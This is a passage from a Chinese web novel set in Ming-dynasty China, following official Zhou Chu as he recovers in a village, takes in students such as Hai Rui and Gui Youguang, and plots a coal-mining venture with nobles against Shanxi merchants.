董瑞并没有直接拒绝,他为官多年,很明白多留一条后路的必要性,万一自己的女儿没被周大人看中,退一步还可以和李文昌的儿子议亲,李文昌虽然是从三品,却也是书香世家,也算是和董家门当户对了。 “好,有了董大人这句话,下官心里就有数了,回去也好给犬子一个交代。” 李文昌高兴道。 “彦之倒也不必过于乐观,依我看,我家那位未必会答应。” 董瑞一看李文昌会错了意,急忙说道。 “我明白,成与不成,董大人尽力就好。” 李文昌高兴道。 此时的张家村之中,董舒儿正在忍着那些药膏刺鼻的味道,为周楚换药。 原本十指不沾阳春水的董舒儿,此时却是异常的忐忑,生怕哪里做的不好,惹的周楚不开心。 “我在大人身边这么伺候着,陆小姐不会生气吧?” 董舒儿给周楚换完药之后,观察着周楚的表情,觉得周楚还算满意,顿时开始作妖了。 第244章 来自云瑾的绝杀 云瑾之所以留下董舒儿,一方面是为了逗闷子,另外一方面,董瑞这个绍兴知府立场摇摆未明,将董舒儿留在这里,可以稳住董瑞,最起码这段时间,董瑞是站在周楚这边的。 很多时候,有所求的人是最好用也最安全的,最怕的是无欲无求的。 像董舒儿这种女人,心思都写在脸上,周楚不怕,云瑾更不怕,只会把她当成一个乐子。 至于事后如何?周楚刚开始就说了,这件事不合适,恐怕会坏了董舒儿的名声,既然董瑞父女都不在乎,周楚更不在乎,像董瑞这种官员,在大明不知道有多少。 只要不是搞的天怒人怨,没有明显的站队,周楚暂时还不会查办董瑞这种人,甚至适当的时候把他往上提一提,也不是不可以。 董瑞的政治智慧是有的,能力或许一般,但能力一般从来都不是问题,只要能不折不扣的完成自己交代的事,那这个人就是可用之人。 大明这种科举选拔制度,选拔上来的官员大多没什么能力,董瑞不过是一个缩影罢了。 周楚要做的事很多,得罪的人也很多,肯定要拉一批打一批,不可能把所有人都得罪光了。 像董瑞这种摇摆不定的,就是周楚和皇帝可以争取的。 所以留下董舒儿,让她伺候自己,只不过代表了自己接受了董瑞的心意,这段时间周楚要考察一下董瑞的办事能力,倘若办事能力尚可,往上提一提之后,他的诉求也就得到了满足。 至于董舒儿如何,想来董瑞不会在乎,董舒儿或许会难过,不过没人在乎。 这就是官场上的利益交换,也是董瑞递给周楚的投名状,董瑞明白,周楚不大可能看得上自家的女儿,所以早早地为董舒儿留了后路。 从头到尾不明白的只有董舒儿一人罢了。 周楚看着眼前董舒儿这副略显做作的模样,不禁想起了后世的绿茶,觉得有些好笑。 “不会。” 周楚随口道。 此时的云瑾正在教二丫书法,平日里云瑾都是和二丫住一屋,两人相处下来关系越来越好,于是云瑾就想着教二丫读书写字。 二丫在云瑾的指导下,很努力的控制着手中的毛笔,不过那毛笔好像有自己的想法一般,完全不按照二丫的想法去走,最后写出来的字已经不能用歪歪扭扭来形容了,云瑾都要看半天才能认出来二丫写的到底是什么字。 “云瑾姐姐,我写的不好。” 二丫似乎也知道写的不好,满脸通红地看着云瑾,双手局促的抓着衣角,不知道该说什么。 “没事,刚开始都这样,慢慢来,会越写越好的。” 看着二丫这副模样,云瑾有些违心地说道。 “真的吗?” 二丫听到这话,眼睛顿时亮了,满脸期待的看着云瑾问道。 “真的。” 云瑾摸了摸二丫的头,安慰道。 “姐姐,你是不是那种很厉害的女将军,像花木兰那样的。” 二丫看着云瑾,满脸的崇拜。 “你还知道花木兰呢?” 云瑾有些意外道。 “知道啊,我三爷爷跟我讲过,花木兰替父从军,可厉害了,姐姐是不是也是女将军?” 二丫眉飞色舞道。 “是啊,你没看到屋子里我的盔甲嘛?” 云瑾笑道。 二丫听到这话,眼睛更亮了。 “姐姐能不能教我练武,将来我也想当花木兰。” 二丫看着云瑾道。 “当什么花木兰,当花木兰很辛苦的,打仗可不像戏文说的那么好玩,是要死人的,死很多很多人。” 云瑾有些无奈道。 “啊?会死人啊,那我不要打仗了,不当女将军了。” 二丫的花木兰梦还没开始,就被云瑾三言两语说的破碎了。 “不过学学武倒是可以,强身健体,还可以保护自己。” 云瑾笑道。 董舒儿和二丫的娘住在一屋,张大民和大柱住在一屋,如此一来,总算是勉强能住下了。 对此,张大民夫妇是没有任何意见的,甚至现在的夫妻两人对未来充满了期待,他们虽然不清楚周楚的具体身份,但从村子外驻扎的军队就能看得出来,楚哥儿的身份绝非一般。 周楚答应了张大民为大柱谋一个前程,夫妻两人现在和以前完全不一样了,对未来充满了期待,对周楚的要求更是有求必应,甚至周楚没要求的,张大民也会尽心做好。 原本董舒儿是想着和周楚住在一个屋子里的,加个竹床就行了,说好的贴身伺候,董舒儿自然想抓住一切机会,不过周楚可不会让这种女人离自己太近,防人之心不可无。 董舒儿睡在张大民家的床上,怎么睡都觉着不舒服,这床和她家的床躺着感觉相差实在是太大,董舒儿再怎么说也是个千金大小姐,哪里遭过这种罪,不过她也清楚,自己不应该显得太过矫情,否则怕被周大人所不喜。 于是只能强忍着不舒服的感觉,闭目养神。 卯时刚到,张家村的鸡鸣响了又响,叫的刚刚睡着没多久的董舒儿心烦意乱,恨不得起身去把那打鸣的公鸡弄死。 张大民的妻子听到鸡叫准时起床干活,山民的作息都很规律,听到鸡叫就要起,晚上睡的也早。 对于董舒儿这个知府小姐,张大民的妻子是不敢招惹的,眼看着董舒儿还在睡觉,也不敢打扰她,只能尽量小点动静,生怕吵醒她。 董舒儿早就被鸡叫吵醒了,想了想自己应该表现的很勤快,于是只能硬着头皮起来了,此时的董舒儿根本没睡多久,整个人困的不行,精神显得很不好。 她穿上衣服洗漱之后来到周楚面前,此时的周楚早就起来了,周楚以前每日坚持练功,卯时准时起床,雷打不动,早就形成习惯了。 此时周楚正坐在门口看指导大柱练武,旁边二丫在一本正经的站桩,云瑾则拿着一把枪耍的虎虎生风。 “大人,我觉得女孩子家还是知书达理些好,像我就不会练武,只会一些女红,书倒是读了些。” 董舒儿看着云瑾这般模样,忍不住在周楚面前说道。 周楚听到这话,瞥了她一眼,什么都没说。 倒是正在练武的云瑾听到了这话,手中的枪如同蛟龙一般,直奔董舒儿而来,擦着她的发丝刺了过去,董舒儿被吓的大惊失色。 云瑾收枪来到两人面前,看着一副担惊受怕模样的董舒儿,满脸不屑。 “你以为你爹让你留在这里真是为你着想?你爹不过是为了自己升官发财罢了,以我二哥的才学和身份,又岂会看上你这种自作聪明的女人。” 云瑾笑道。 董舒儿听到这话,看了看旁边周楚不置可否的神情,脸色变得煞白。 第245章 张璁到来,考成法的现状,松了口气的严嵩 明白了真相的董舒儿老实了许多,再也不像之前那么折腾了。 如果说云瑾的话对她造不成什么杀伤力的话,那么周楚默认的态度直接对她造成了暴击,再一联想自己父亲的态度,董舒儿不傻,顿时明白了自己父亲打的什么算盘。 明白之后,她就彻底老实了,哪怕是为了自己爹的仕途,董舒儿也得尽心伺候周楚,董舒儿虽然心气高,却也明白,自己现在所拥有的身份和地位,以及平日里的吃穿用度,都是来自于自己的父亲。 倘若自己父亲的仕途完了,那么自己的身份也会跟着一落千丈,搞不好甚至还会进教坊司。 即便心中对自己的父亲有气,但无论出于何种原因考虑,董舒儿也没有闹脾气的资格。 既没有跟董瑞闹脾气的资格,更没有跟周楚闹脾气的资格。 说白了,此时的董舒儿在周楚和云瑾眼中,不过是个玩意罢了。 “你怎么不继续折腾了?” 云瑾看着董舒儿突然变得如此老实,顿觉无趣,来到董舒儿面前,看着一脸低眉顺目的董舒儿说道。 “舒儿之前有眼不识泰山,不知好歹,不识进退,冲撞了陆小姐,都是舒儿的错,您要打要罚,舒儿绝无怨言。” 董舒儿此时已然没了心气,在云瑾面前根本都不敢抬头,她很清楚,云瑾如果愿意的话,甚至可以让他爹丢官罢职,毕竟他爹这个官当的实在算不上干净。 之前的董舒儿心高气傲,觉得自己能攀上周楚这棵大树,所以才敢和云瑾唱对台戏,现在她明白了自己毫无希望,以她一个知府千金的身份,和云瑾的身份差了不知道多少,自然不敢冲撞云瑾。 此时陈昭已经带着玄武军回来了,随着玄武军一起回来的,还有一辆辆运银车。 “大人,幸不辱命。” 陈昭来到周楚面前,满脸兴奋道。 周楚来到张家村外,看着军营之中那一辆辆运银车,很是满意。 “回头你自己拿五千两,算你个人的,另外再拿十万两,发给你的人,作为这次行动的奖励。” 周楚看着陈昭道。 周楚很清楚,这次行动离不开陈昭手下锦衣卫的配合,掌握那些山西人的动向,这些都需要锦衣卫来办。 陈昭听到这话,顿时大喜过望,跟着周大人办事就是爽,每次都有大笔大笔的钱进账。 周大人来苏州府之前,自己过的是什么苦日子啊,每个月就指着那点俸银过日子,一家老小的吃喝都费劲。 但自从周大人来到苏州府之后,自己已经攒下了很厚实的家产,还换了一个大宅子,如今整个苏州府,谁敢像以前看不起自己? 以前的陈昭做梦的时候都没梦到过自己能有如今的好日子,虽然官职没变,但无论是手中的权利,亦或是进账的钱,都和以前天差地别。 如今的苏州府,大小官员见到陈昭,谁敢不笑脸相迎? 不只是陈昭,苏州府所有的锦衣卫,包括百户总旗,哪个不是因为周楚来了苏州府之后,生活发生了翻天覆地的变化? 之前周楚离开苏州府的时候,这些锦衣卫甚至自发的排着队,拿着自己老家的特产,送别周楚。 因为他们都清楚,周大人从不缺钱,送钱就俗了。 谁不想跟着周大人这么好的上司混? 陈昭满脸兴奋地带着手下的锦衣卫去取银子。 这两千万两白银,周楚给自己留了一百万两,另外留下留下三百万两给玄武军做后备军费。 至于虎贲军,现在不在这里,而是在大同,周楚自然不应该过多操心,不在其位不谋其政,手伸的够长不会有好下场。 剩下的一千多万两,则让锦衣卫就近运送到绍兴府以及附近周府的皇家钱庄。 有了皇家钱庄之后,再也不用像以前那样辛苦的往京城运钱财了,直接存进皇家钱庄,然后写一封密奏给嘉靖就可以了。 皇家钱庄的开设异常顺利,并没有因为那些山西人的恶意通兑受到不好的影响,相反,有了这些山西人做的这些事,让所有人都看到了皇家钱庄强大的财力和底气,如此一来,那些有钱的百姓纷纷将家中的钱财取出来存进钱庄。 原本还在观望,甚至没想存钱进钱庄的,眼看着山西人做的这些事,两千万两说通兑就通兑了,再也没了疑虑,存进钱庄的钱可都是有利息的,虽说这个利息不高,但总比把钱埋在地下发霉来得强。 “周大人,您可吓死下官了。” 张璁得知周楚的下落之后,第一时间来到了张家村,看到周楚安然无恙之后,这才彻底松了口气。 “你有什么好害怕的,最害怕的不应该是严大人吗?” 周楚调侃道。 “严大人确实被吓坏了,我还去大狱之中看了他,他也很担忧大人的安危。” 张璁叹了口气道。 “无妨,要不了多久,他就可以官复原职了,我已经给陛下去了奏疏,为他说了话。” 周楚一边喝着茶,一边说道。 这可不是村长张老五的高碎了,这些茶叶都是张璁特意带过来孝敬周楚的,各种顶级的茶叶都有。 “周大人真是宅心仁厚,严大人若是知道大人为他做到这等地步,定会感激涕零。” 张璁拍马屁道。 周楚听到这话,笑了笑,对于张璁拍马屁的话早已习以为常。 “南直隶的考成法推行的如何了?” 周楚看着张璁,谈到了正题。 张璁听到这话,顿时坐直了身子,明白周楚在考察自己的做事的成绩。 “回大人的话,考成法已经在南直隶全面推行,如今南直隶的官员做事的效率比以前高了岂是数十倍,官场不作为的风气在南直隶再也看不到了。” “刚开始的时候,南直隶的官员都还有怨言,不过随着他们奉银一次次的提高,如今怨言也没了,如今南直隶的官员奉银是原本的两倍,去年过年的时候,还按照陛下和大人的安排,按照每个官员办事的能力和做事的完成度,给与不同金额的奖励。” 张璁侃侃而谈道。 周楚一直都明白一个道理,任何人讨厌的都不是加班,而是给的工资和钱不够多,于是在推行考成法的同时,不断地提高南直隶官员的俸银。 经过几次提升之后,如今南直隶官员的俸银加上年终奖金,每一个的收入都是以前的数倍。 如此一来,除了那些贪的很多的官员之外,再也没人反对考成法,谁反对,就是和其他同僚作对,就是断了同僚的财路。 即便是那些偶尔贪一些小钱的官员,对于现在的奉银都是极为满意的,毕竟以往他们拿那些钱拿的提心吊胆的,现在的奉银可是拿的正大光明。 南直隶所有官员的做事效率提高了不知道多少倍,那些陈年累积的案牍全都被清理一空,那些常年收不上来的商稅农税,以及那些逃税避税的,根本不用督促,这些官员都会抢着去办。 不说犁清所有的稅,但大多是都可以收上来了。 如此一来,整个南直隶的财政收入不知道翻了多少倍,形成了一个良性循环。 这才是周楚想要看到的。 下一步周楚要做的,就是写奏疏给嘉靖,让皇帝将考成法在京城和江南推行开来,进而在整个大明推行。 江南省考成法的推行离不开一个人,严嵩。 所以严嵩在大狱之中待不了多久了。 大狱之中的严嵩得知周楚安然无恙之后,悬着的心终于放下了。 “老天保佑啊。” 严嵩忍不住呢喃道。 第246章 海瑞、胡宗宪、赵贞吉、归有光 时隔多日,乌骓马再次吃上了精料,无论是毛发还是精神都变得不一样了。 只要钱给够,张老五这些人的效率是很高的,一个个土坯房很快就被建好了。 春兰、沈炼以及海瑞等人纷纷来到了张家村。 甚至胡宗宪赵贞吉这些人都来了,当然,还有严世蕃,严世蕃是周楚特意吩咐的,一定要带过来,这个小胖子要是离开了周楚的视线没人管的话,很容易放飞自我。 放在乡下历练一番,对他还是很有好处的。 “你们俩怎么来了?我记得你们不是学格物学的吧?” 周楚看着胡宗宪和赵贞吉,疑惑道。 胡宗宪和赵贞吉听到这话,对视了一眼,终于鼓起了勇气,向周楚行礼。 “学生愿意跟随在先生身边,先生教什么,学生就学什么。” “你们倒是滑头。” 周楚有些无奈道。 如果说赵贞吉跟着自己是单纯的想学东西的话,那么胡宗宪跟着自己绝不是只想学东西这么简单,更多的恐怕是想替自己找一个靠山。 当然,现在胡宗宪还小,这种想法可能来自于潜意识,更多的是出于对周楚的崇拜。 周楚却清楚,以胡宗宪的性子,他本是做大事之人,原本的历史上胡宗宪毁誉参半,为了投靠严党,和严党的人一起迫害忠良。 但以当时的形势而言,胡宗宪想要做自己想做的事,想要将剿倭一事进行到底,就必须背靠严党,得到严党的支持,否则以胡宗宪个人的根基,根本承受不住江南走私集团的反扑。 胡宗宪某种意义上而言可以说是严党的保命符,只要胡宗宪一日不剿倭成功,严党就会一直安全,同时胡宗宪只要不完成剿倭,他也是安全的。 胡宗宪自然是明白这个道理的,倘若是为了严党和他自己的利益考量,养寇自重或许是一个很好的选择,但胡宗宪没有这么做,而是直接将东南沿海的倭寇剿灭殆尽,为隆庆开关做好了铺垫。 即便事后严党迎来了清算,胡宗宪也迎来了清算,胡宗宪还是这么做了。 可见胡宗宪内心或许有不少算计,但目标一直都是很明确的。 这也是周楚看重胡宗宪的原因之一。 “那就先在这里住下吧,能学到什么就看你们自己了。” 周楚不置可否道。 对于胡宗宪和赵贞吉,周楚都是很看重的,将来这两人一文一武,都会是大明的肱股之臣。 胡宗宪虽然是文官,但领兵的天赋周楚从未怀疑过,将来京城的武学院建立之后,周楚准备让胡宗宪再进去深造一番。 毕竟现在胡宗宪年龄还小。 除了胡宗宪和赵贞吉之外,还有一个周楚不认识的学生,此人看上去和赵贞吉年岁相当,周楚看着此人,有些疑惑。 “老师,这位是学生的好友,归有光,也是敬重老师的名声,非要和我等一起前来。” 赵贞吉急忙介绍道。 归有光? 听到这个名字,周楚的眼睛顿时亮了。 潘季驯去年才出生,想要他来治水还不知道要多少年,但眼前的归有光同样是水利大家,当然,他在文学上的成就也很高,单单文坛的地位,归有光可以和后来的文坛盟主王世贞分庭抗礼的,并且痛斥王世贞为“庸妄巨子”。 但无论是对周楚而言,还是对大明而言,一个水利学家的作用远远大于文学家。 “老师,这是学生引雷做的雷击木,按您的要求,引到枣树上的。” 海瑞从怀中取出一块自己雕刻的雷击木无事牌,恭敬地递向周楚。 周楚从海瑞手中接过雷击木的无事牌,眼睛顿时亮了。 “引雷一事,你还真做成了?” 周楚有些意外道。 引雷一事,困难重重,稍有不慎,就会被雷电劈中,风险极大,其中的操作方法一旦出现错误,后果不堪设想。 “前几日余姚刚好雷雨天,学生觉得机会难得,就按照老师说的方法,尝试了一下,很多操作步骤都是学生自己摸索的,并不成熟,下次应该会更好一些。” 海瑞有些不好意思道。 “海瑞当时把雷电引下来,惊动了整个学院的人,那场面,我等终生难忘。” 胡宗宪感慨道。 “是啊老师,没想到格物学居然如此厉害,能将天上的雷引下来。” 赵贞吉附和道。 其他人听到这话,也都是一副深以为然地表情,显然都被当日海瑞引雷的壮举给震惊到了。 听到这些话,海瑞倒有些不好意思了。 “学生倒没想这么多,只是老师出事之后,学生很是愧疚,觉得帮不上老师的忙,要是能早点引雷,做出这雷击木,或许雷击木就能保佑老师了。” 海瑞面带愧疚道。 周楚听到这话,感动的同时又觉得有些好笑。 “雷击木有没有用尚且未知,就算有用,也只是驱邪挡灾罢了,那些人就是奔着刺杀我来的,雷击木又能有何用?不必因此愧疚,你能有这份心意,我很高兴。” 周楚说着将雷击木的无事牌挂在了脖子上。 海瑞看到周楚将自己雕刻的无事牌随身佩戴,很是高兴。 “归有光。” 周楚看向了归有光,饶有兴致道。 “学生在。” 归有光听到周楚叫自己的名字,有些紧张道。 “你报名的哪个学院?” 周楚问道。 “学生报的的水利学院。” 归有光如实回答道。 听到这个答案,周楚一点都不意外,归有光无论是在文学上亦或是在水利上面,天赋都极高,唯独在科举一途,一点都不顺。 归有光的科举之路和自己的老师文徵明有点像,屡试不第,最终被赵贞吉和高拱举荐,以举人身份入仕。 “为何要报水利学院?” 周楚继续问道。 “学生是苏州府昆山县人氏,学生的老家是泄洪区,大面积都是水泊之地,昆山县的百姓流离失所,只能远离家乡,到外地求生。” 归有光有些悲凉道。 “去年多亏了大人筑造堤坝,虽然堤坝一事是严大人主导的,但学生却是知道严大人背后是大人,而且那水泥简直就是为筑造堤坝而生的,大人能造出这等材料,学生佩服的五体投地。” 归有光满脸真诚道。 周楚听到这话,顿时恍然,归有光是昆山人,对自己的事如此了解倒也不意外了。 “我对水利之事不太了解,否则去年就治理昆山的水患了,你要学水利的话,我可以给你提供所有你需要的书,但我教不了你。” 周楚看着归有光道。 归有光听到这话,点了点头。 “学生明白,学生就是想跟在老师身旁,水利的东西学生可以自学。” 归有光看着周楚,眼神之中满是崇敬道。 第247章 周楚的田间授课,为晋商准备的惊喜 这些学子如果说有谁不是自愿过来的,严世蕃绝对首当其冲。 在学院之中虽然远不如在苏州的时候潇洒快活,虽然因为他的臭脾气被不少学子孤立了,但这影响不到严世蕃。 但到了张家村就不同了,吃的住的和村民都一样,无论是吃的还是住的,严世蕃都很难适应,严世蕃小时候严家虽然没落了些,但再怎么说也算是书香世家,家底还是有一些的。 严世蕃作为严嵩目前的独子,严嵩对他宠爱到了极点,更是逢人便吹嘘自己的儿子有多么聪慧。 在张家村,严世蕃每天鸡叫就要起床不说,还要跟着农户去地里干农活,周楚将这些学子分配到了每一家农户之中,农户家里吃什么他们就吃什么,农户如何干活他们就如何干活。 不干活就没饭吃。 严世蕃每天累的吭哧吭哧的种地,两只肥手都磨出了血泡,疼的他龇牙咧嘴。 不过如此一来,原本整天打他的胡宗宪等人,倒也没工夫搭理他了,因为胡宗宪等人要么在忙农活,要么跟着进山打猎。 进山打猎的这些人,周楚都会安排一些玄武军暗中跟着,防止他们出现什么意外。 这些学子下地干活,周楚自然也要以身作则,经过这么多天的休养,周楚身上的伤好的差不多了,之前虽然身上的伤看着夸张,但并没有伤筋动骨,只是失血过多,才导致的昏迷。 当时周楚身上的血流失了很多,超过了安全线,所以村里的郎中才说周楚能不能醒过来完全看天意。 这种伤恢复起来要比伤筋动骨快得多。 如今的周楚虽然没有完全恢复,但进行一些简单的劳动还是可以做到的。 “海瑞,咱们这么多人,只有你最了解老师,你说老师安排我们干农活,进山打猎,到底是为了什么?” 赵贞吉对于周楚的安排,很是不解,他自小家境优渥,所以很难共情农户。 海瑞则不同,他的出身很低,所以更能明白周楚这么安排的用意。 “我想老师应该是让我们体会民生多艰,体会底层百姓生活多么不易,唐太宗李世民有句话,民为水,君为舟,水能载舟亦能覆舟,但即便是唐太宗口中的民,也从来不是这些底层的百姓,而是指士大夫们。” 海瑞想了想,缓缓说道。 一旁的胡宗宪听到这话,深以为然。 “没错,其实真正的民,是这普天之下的黎民百姓,是这人数最多的农户,但很少有人在乎农户们的想法,似乎只要他们能活下去就行。” 干了两天的农活,胡宗宪的感触很深,特别是每天劳累一天,吃的往往是粗粮野菜粥这些他从未吃过,甚至觉得难以下咽的食物。 当他看到那些农户吃的狼吞虎咽,仿佛这碗粗粮野菜粥是什么人间美味一般的时候,胡宗宪内心的震撼难以言说。 直到此时,他才真正看清了大明底层百姓的生活,那些以往他看不到的东西。 赵贞吉听到这话,顿时恍然,回想起这几天在张家村的际遇,赵贞吉确实觉得苦,甚至从未吃过这种苦。 仅仅几天的时间,赵贞吉就瘦了一圈,不是吃不饱,而是那些东西他大多吃不下去。 刚开始吃不下去,赵贞吉发现干活没力气,于是后来只能强忍着把那些他认为难以下咽的食物吃完,吃完之后才有力气干活。 但这些吃的基本没什么油水,再加上每日大量的体力劳动,才几天赵贞吉就瘦了不少。 “没错,无论以后你们要做什么,是要入仕为官,还是要做其他的,都要明白百姓的不容易,如此一来,将来做事的时候,才能不拍脑门做决定。” 周楚不知何时来到了几人身旁,看着众人略显狼狈的模样,笑道。 “很多时候,上面的一个政令,可能微不足道,也可能是某一个官员一拍脑门就做了这个决定,但你们要清楚一个问题,任何微不足道的政令,经过层层加码之后,对于底层百姓而言,可能就是灭顶之灾。” 周楚看着众人,说道。 周楚这话说完,众人反应不一,有些一脸迷茫,显然没听懂,有些似懂非懂。 “没听明白?” 周楚问道。 胡宗宪等人听不懂,周楚并不意外,因为眼前这些年轻人还没有步入官场,即便是初入官场的一些官员,都未必听得懂自己说的这些话。 “请老师指导。” 赵贞吉躬身行礼道。 胡宗宪等人也跟着躬身行礼。 “很简单,举个例子,如之前江南省的士绅们隐藏了大量的土地,还有无数农户将自己的土地先给他们,然后租他们的地耕种,这是为何?” 周楚说到这里停了停,看了一眼众人的反应。 “这个学生知道一些,因为农户要缴各种苛捐杂税,如果都交齐的话,剩下的粮食可能都养不活自己一家人,为了活下去,他们就把地献给士绅,因为士绅要缴纳的税极少,甚至基本不怎么需要交税,如此一来他们再从士绅手中租地耕种,交的租子不如之前要交的税多,这样他们就能活下去。” 归有光急忙说道。 周楚听到这话,点了点头。 “看来你是了解一些的,不过如果我说,那些苛捐杂税就是这些士绅伙同当地官员层层加码,才会这么多的,你们会如何想?” 周楚反问道。 胡宗宪等人听到这话,陷入了沉思。 这种事情他们多少是知道一些的,倒也没有多么震惊。 “如果不了解底层百姓的情况,一个官员想要改变这种状况,一拍脑门做了决定,让士绅们一体纳粮,士绅们交的税多了,那么他们会怎么做?” 周楚继续问道。 众人听到这话,顿时醍醐灌顶一般。 “学生明白了,士绅们会往下加码,继续往下给租户们加租子,让租户们愈发活不下去,上面的官员或许想要解决问题,可他不了解问题的根源,以及为何会出现这种问题,做出的决策反而会让百姓更加艰苦。” 胡宗宪恍然大悟道。 其他人此时也都想明白了,满脸叹服地看着周楚。 周楚听到这话,满意的点了点头。 “没错,所以做每一个决定之前,都要做足调查,实事求是,而不是一拍脑门想当然的做决定。” 周楚说道。 “大人,那些勋贵们都派人来了绍兴府,现在都在董瑞府上,董瑞求见。” 沈炼来到周楚面前,说道。 如今沈炼的身体也恢复的差不多了,他更是待不住的主,恨不得一直跟在周楚身边,周楚劝了两次,没什么效果,也就放弃了。 周楚听到这话,顿时笑了,自己之前让皇帝给大明各地的勋贵都去了信,让每一个勋贵都派个代表过来,为的就是和他们商议一个共同发财的计划。 同时也是彻底断送山西那些商人财路的计划。 挖煤! 周楚一直都清楚,在徐州府和济宁府那一块,有一块极大的煤矿,以现在的开采能力而言,足以开采几十上百年了。 山西商人主要靠的还是煤矿,大明处于小冰河期,煤炭的价格自然水涨船高,再加上从山西运过来的费用,价格自然便宜不了。 但如果直接在徐州府那里开采,并且联合大明大多数勋贵一起开采,那么山西的煤矿销路基本就没了。 同样的煤炭,徐州府那边开采的少了很多运输成本,价格自然要便宜很多。 山西的煤炭一旦失去竞争力,那些晋商就会走邪路。 到了那个时候,就是清算他们的时候。 至于为何要将这些勋贵拉到一起,一来是加深勋贵们和皇室之间的联系,二来,有这些勋贵参与,可以为周楚吸引很多火力,那些晋商想要动徐州那边的煤矿,要先考虑敢不敢同时对这么多勋贵动手。 钱,周楚不是很在乎,煤矿是赚钱,但和周楚现在的生意比起来,还差得多。 煤矿的利润分出去,无论是对自己还是对皇帝,都好处多多。 就是不知道山西的那些商人,有没有准备好迎接自己给他们准备的这个惊喜。 第248章 各地藩王世子郡主,心惊胆战的董瑞 周楚安排董瑞做的第一件事,就是招待这些各地勋贵以及藩王派过来的人。 这才算是周楚让董瑞交的真正的投名状,一旦董瑞招待了这些人,以后和江南士绅就再也尿不到一个壶里面去了,毕竟他为周楚做事,还如此大张旗鼓,很难不被其他人看在眼里。 董瑞自然也明白这个道理,之前之所以对江南士绅集团的命令装糊涂,是因为他很清楚这些人做的事于大明不利,说白了那是一艘贼船。 董瑞虽然没什么能力,但是眼界还是有一些的,后来周楚的出现让他庆幸自己没有过深的和江南集团交往过深,否则想要抽身都难。 最重要的是,整个江南集团之中依附的官员不知道有多少,要靠着江南集团升官,董瑞明白,以自己的能力,不知道要等到猴年马月。 至于江南集团走私赚取巨额利润,董瑞感兴趣,但不多,先不说能分给他多少,就算比董瑞贪的多,但董瑞很清楚,拿了钱就要办事,而且自己贪的钱完全够花了。 相对于钱,董瑞对仕途上更有追求,所以这次见到周楚之后,他就向周楚递上了自己的投名状:董舒儿。 将董舒儿放在周楚身边,就是告诉周楚,他董瑞原以为周楚做事,甚至赴汤蹈火。 董瑞虽然没什么能力,但很聪明,很清楚该跟什么人,该做什么事,跟着周楚那才是正路,周楚代表的是谁?是皇帝,跟着皇帝做事还能有错? 那些江南的士绅以及官员无论说的多么伟光正,即便是能把黑的说成白的,董瑞又不是傻子,同在官场,谁不知道谁。 如果说一年多以前,董瑞还不知道该如何做的话,那么前面一年,周楚在整个江南折腾了一番,让江南的形势大变之后,他就再无疑虑了。 特别是他眼看着严嵩从一个没什么实权的京官,到苏州知府,再到后来的江南省实际上的一把手。 还有张璁,刚入仕没多久,就因为坚定地站在周楚这边,升官的速度董瑞别说见过了,听都没听过,直接一路到了南直隶巡抚,封疆大吏。 这两人的觊觎让董瑞眼红,他恨自己不是严嵩或者张璁,如果自己早一步投靠周楚,现在不说是封疆大吏,但再进一步是极有可能的。 董瑞心动了,他一直在找机会,没想到还真让他遇到了这个机会,遇刺的周楚出现在了绍兴城外。 当时知道这个消息的时候,董瑞是喜忧参半,喜的是自己终于可以向周指挥使表明心意了,忧的是自己以前终究是为江南集团做了些事,他怕自己会被周楚查办。 直到周楚同意让董舒儿留在身边伺候,董瑞这才明白了周楚的意思,松了口气的同时大喜过望,他很清楚,周大人这是初步接纳了自己。 董瑞回到府中之后没过两天,陈昭就来到了董府,他告诉董瑞,最近会有各地勋贵的人来绍兴府,让他做好招待工作。 董瑞听到这话,很是兴奋,周大人安排事让自己做了,这代表着什么董瑞很清楚。 于是董瑞当即让人将整个董府清扫一遍,甚至将董府附近的几个宅子都买了下来,为的就是做好招待的事物。 这些勋贵派出的人各异,有些是藩王世子,有些则是郡主,其中就有周楚的熟人,代王府郡主朱思莹。 除了个别消息极为滞后的藩王,现在大明哪个藩王不知道周楚这个名字的分量?更何况皇帝给他们去了圣旨,这件事代表的意义就完全不同了。 代表着周楚办的事,就是皇帝想要办的。 面对这一个个藩王世子郡主,董瑞是大气都不敢喘,这些人没有一个是他能得罪的起的。 别看他在这绍兴府可以为所欲为,一旦跨出绍兴府这个范围,他董瑞虽然不算是个芝麻官,却也只是个知府,正四品罢了。 别说和藩王的世子郡主比了,就是和那些三品官比,都差了两级,官场上,官大一级压死人,更不用说如此大的身份差距了。 偏偏这些世子郡主又多是一些纨绔子弟,根本不把董瑞放在眼里。 好在他们临来之前,他们的父辈特意嘱咐了,到了绍兴之后,一定要收敛性子,这次来绍兴,是锦衣卫指挥使周楚有要事和他们商议。 对于周楚,这些世子郡主或多或少都听过这个名字,很多世子心中不是很服气,但碍于父辈的嘱咐,却也不好多说什么,大多数郡主则对这位大明的新贵,搅弄风云的锦衣卫指挥使充满了好奇。 其中晋王世子朱奇源对周楚心中颇有不服,晋王府可以说是所有藩王之中较烂的一支,这种烂烂在了根上。 朱奇源虽然不是晋王府世子,却也是晋王嫡子,那些晋商之所以这么嚣张,和晋王府的放任不管有脱不开的关系。 晋王府坐镇太原,太原又是那些晋商的老巢,如果说代王朱俊杖是因为大同形势复杂,无能为力的话,那么晋王府就是纯粹的不作为。 朱奇源更是和那些晋商家的公子哥来往甚密,平日里总是一群晋商子弟跟在朱奇源屁股后面充当狗腿子,在那些晋商口中,周楚都快成了十恶不赦之人了,朱奇源自然对周楚没什么好感。 将晋王府的人叫过来,是周楚故意为之的,有晋王府坐镇太原,以后想办那些晋商,不太可能越过晋王府。 周楚通知晋王府,就是要给晋王府一个机会,让若晋王府不识趣,不用周楚去办,嘉靖就容不下晋王府。 该做的姿态,周楚自然是要做足的,倘若周楚什么都不做,以后晋王府是周楚很难越过的一道坎。 “这个周楚是不是吃错了药,将我等叫来这里,自己又不现身,让个什么知府招待,好大的架子。” 朱奇源阴阳怪气道。 “朱奇源,你要不想在这里待,可以回去,少在这喷粪。” 朱思莹瞥了一眼朱奇源,满脸不屑道。 虽然同在山西,但代王府一直都看晋王府不顺眼,实际上不只是代王府,很多藩王都看晋王府不怎么顺眼,毕竟历代晋王没几个好东西。 “就是,朱奇源,你也不撒泡尿照照自己,周指挥使何等身份?你也配让他等你?” 旁边,另外一位郡主附和道。 朱奇源被两人怼的哑口无言,不知道该如何反驳,倒不是他不想反驳,只是看到其他几位郡主甚至世子看着自己的眼神多有不屑,即便朱奇源再蠢,也知道自己这话惹了众怒,不能再继续下去了。 “诸位,诸位,别吵了,周大人到了。” 董瑞在一旁看的直擦汗,这些人要真是打起来,他可是吃不了兜着走,好在此时董瑞看到了不远处的周楚,如同找到了救星一般,急忙打圆场。 